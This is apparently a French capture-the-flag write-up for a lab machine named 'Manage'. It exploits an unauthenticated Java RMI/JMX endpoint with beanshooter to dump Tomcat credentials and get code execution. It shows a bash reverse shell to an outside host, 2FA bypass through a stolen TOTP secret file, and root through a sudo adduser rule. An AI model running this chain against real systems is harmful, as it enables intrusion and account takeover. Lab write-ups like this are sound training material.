Manage

| OS | Difficulty | Target |
|---|---|---|
| Linux | EASY | 10.10.100.194 |
🔭 Enumeration
PORT STATE SERVICE22/tcp open ssh2222/tcp open EtherNetIP-18080/tcp open http-proxyScan approfondit:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 a9363d1d4362bdb3885e37b1fabb8764 (ECDSA)|_ 256 da3b110881432f4c2542ae9b7f8c5798 (ED25519)2222/tcp open java-rmi Java RMI| rmi-dumpregistry:| jmxrmi| javax.management.remote.rmi.RMIServerImpl_Stub| @127.0.1.1:46037| extends| java.rmi.server.RemoteStub| extends|_ java.rmi.server.RemoteObject|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)8080/tcp open http Apache Tomcat 10.1.19|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/10.1.19Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerneldirsearch -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://10.10.100.194:8080/"
_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GETThreads: 25 | Wordlist size: 2563
Output: /workspace/reports/http_10.10.100.194_8080/__24-09-21_16-03-12.txt
Target: http://10.10.100.194:8080/
[16:03:12] Starting:[16:03:13] 400 - 763B - /%ff/[16:03:30] 403 - 865B - /examples/Added to the queue: examples/[16:03:35] 403 - 3KB - /manager/html[16:03:35] 404 - 683B - /META-INF/context.xml[16:03:35] 403 - 3KB - /manager/Added to the queue: manager/[16:03:47] 404 - 683B - /WEB-INF/config.xml[16:03:47] 404 - 683B - /WEB-INF/web.xml
[16:03:49] Starting: examples/[16:03:50] 400 - 763B - /examples/%ff/
[16:04:19] Starting: manager/[16:04:19] 400 - 763B - /manager/%ff/Rien de particulier de trouver sur l’énumération du site.
Java-RMI
Le Port 2222 en cherchant sur internet, l’outil beanshooter semble intéressant. Je télécharge la release puis j’exécute la commande suivante:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.100.194 2222[+] Checking available bound names:[+][+] * jmxrmi (JMX endpoint: 127.0.1.1:46037)[+][+] Checking for unauthorized access:[+][+] - Remote MBean server does not require authentication.[+] Vulnerability Status: Vulnerable[+][+] Checking pre-auth deserialization behavior:[+][+] - Remote MBeanServer rejected the payload class.[+] Vulnerability Status: Non Vulnerable[+][+] Checking available MBeans:[...][+][+] Enumerating tomcat users:[+][+] - Listing 2 tomcat users:[+][+] ----------------------------------------[+] Username: manager[+] Password: fhErvo2r9wuTEYiYgt[+] Roles:[+] Users:type=Role,rolename="manage-gui",database=UserDatabase[+][+] ----------------------------------------[+] Username: admin[+] Password: o<REDACTED>d[+] Roles:[+] Users:type=Role,rolename="role1",database=UserDatabase👣 Foothold
beanshooter nous permet de créer un payload et de l’exécuter puisque la sortie de la commande précédente nous indique que le “Remote MBean server doesn’t require authentication. Vulnerability Status: Vulnerable”
Création du payload:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.100.194 2222 tonka[+] Creating a TemplateImpl payload object to abuse StandardMBean[+][+] Deplyoing MBean: StandardMBean[+] MBean with object name de.qtc.beanshooter:standard=8829641229265 was successfully deployed.[+][+] Caught NullPointerException while invoking the newTransformer action.[+] This is expected bahavior and the attack most likely worked :)Execution du payload et obtention d’un shell Tomcat:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.100.194 2222 tonka[+] Creating a TemplateImpl payload object to abuse StandardMBean[+][+] Deplyoing MBean: StandardMBean[+] MBean with object name de.qtc.beanshooter:standard=8829641229265 was successfully deployed.[+][+] Caught NullPointerException while invoking the newTransformer action.[+] This is expected bahavior and the attack most likely worked :)[+][+] Removing MBean with ObjectName de.qtc.beanshooter:standard=8829641229265 from the MBeanServer.[+] MBean was successfully removed.[Sep 21, 2024 - 16:16:26 (CEST)] exegol-Vulnlab /workspace # java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.100.194 2222
tomcatbinBUILDING.txtconfCONTRIBUTING.mdlibLICENSElogsNOTICEREADME.mdRELEASE-NOTESRUNNING.txttempuser.txtwebappsworkVL{<REDACTED>}root:x:0:0:root:/root:/bin/bash[...]karl:x:1000:1000:karl green:/home/karl:/bin/bashlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/falsetomcat:x:1001:1001::/opt/tomcat:/bin/falseuseradmin:x:1002:1002:,,,:/home/useradmin:/bin/bashCôté Hôte:
nc -lvnp 4444Sur la Target:
bash -c 'bash -i >& /dev/tcp/10.8.3.147/4444 0>&1'tomcat@manage:~$ su useradminsu useradminPassword: o<REDACTED>dVerification code: o<REDACTED>dsu: Authentication failureUne double authentification est configurée sur le compte, en tant que tomcat on peut fouiller les dossiers /home des users.
tomcat@manage:~$ cd /homecd /hometomcat@manage:/home$ lslskarluseradmintomcat@manage:/home$ cd useradmincd useradmintomcat@manage:/home/useradmin$ lslsbackupstomcat@manage:/home/useradmin$ cd backupscd backupstomcat@manage:/home/useradmin/backups$ lslsbackup.tar.gztomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmpcp backup.tar.gz /tmptomcat@manage:/home/useradmin/backups$ cd /tmpcd /tmptomcat@manage:/tmp$ tar xvzf backup.tar.gztar xvzf backup.tar.gz././.bash_logout./.profile./.ssh/./.ssh/id_ed25519./.ssh/authorized_keys./.ssh/id_ed25519.pub./.bashrc./.google_authenticator./.cache/./.cache/motd.legal-displayed./.bash_historytar: .: Cannot utime: Operation not permittedtar: .: Cannot change mode to rwxr-x--T: Operation not permittedtar: Exiting with failure status due to previous errors
tomcat@manage:/tmp$ cat .google_authenticatorcat .google_authenticatorCLSSSMHYGLENX5HAIFBQ6L35UM" RATE_LIMIT 3 30 1718988529" WINDOW_SIZE 3" DISALLOW_REUSE 57299617" TOTP_AUTH99852083203126477323513692971994861755919899182354032641692672187683925356800775tomcat@manage:/tmp$ su useradminsu useradminPassword: o<REDACTED>dVerification code: 99852083
whoamiuseradmin🎯 Privilege Escalation
Nous sommes désormais useradmin voyons quels sont ses privilèges:
sudo -lMatching Defaults entries for useradmin on manage: env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User useradmin may run the following commands on manage: (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$useradmin peut donc utiliser /user/sbin/adduser avec la commande sudo ce qui veut dire qu’en créant un utilisateur il sera automatiquement avec l’ensemble des privilèges sudo. Vérifions:
sudo /usr/sbin/adduser adminAdding user `admin' ...Adding new group `admin' (1003) ...Adding new user `admin' (1003) with group `admin' ...Creating home directory `/home/admin' ...Copying files from `/etc/skel' ...New password: 1234Retype new password: 1234passwd: password updated successfullyChanging the user information for adminEnter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []:Is the information correct? [Y/n] y
su adminPassword: 1234sudo -S -l[sudo] password for admin: 1234Matching Defaults entries for admin on manage: env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User admin may run the following commands on manage: (ALL) ALLEn ayant les pleins privilèges avec notre utilisateur tout juste créé, nous n’avons plus qu’à passer root pour obtenir le flag.
sudo sucat /root/root.txtVL{<REDACTED>}